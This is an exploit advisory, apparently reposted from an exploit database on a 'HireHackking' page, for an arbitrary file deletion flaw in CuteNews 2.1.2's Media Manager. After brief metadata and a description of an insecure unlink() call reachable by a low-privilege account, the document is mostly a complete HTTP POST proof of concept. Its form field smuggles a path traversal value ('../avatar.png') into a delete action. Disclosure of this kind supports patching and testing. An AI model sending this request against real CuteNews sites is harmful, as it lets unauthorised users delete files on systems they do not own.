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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: CuteNews 2.1.2 - Arbitrary File Deletion
# Date: 2020-05-08
# Author: Besim ALTINOK
# Vendor Homepage: https://cutephp.com
# Software Link: https://cutephp.com/click.php?cutenews_latest
# Version: v2.1.2 (Maybe it affect other versions)
# Tested on: Xampp
# Credit: İsmail BOZKURT
# Remotely: Yes

Description:
------------------------------------------------------------------------
In the "Media Manager" area, users can do arbitrarily file deletion.
Because the developer did not use the unlink() function as secure. So, can
be triggered this vulnerability by a low user account


Arbitrary File Deletion PoC
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POST /cute/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 **********************************
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 222
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/cute/index.php
Cookie: CUTENEWS_SESSION=3f6a6ea7089e3a6a04b396d382308022
Upgrade-Insecure-Requests: 1

mod=media&opt=media&folder=&CKEditorFuncNum=&callback=&style=&faddm=&imgopts=&__signature_key=27966e9129793e80a70089ee1c3ebfd5-tester&__signature_dsi=0ad6659c2aa31871b0b44617cf0b1200&rm%5B%5D=../avatar.png&do_action=delete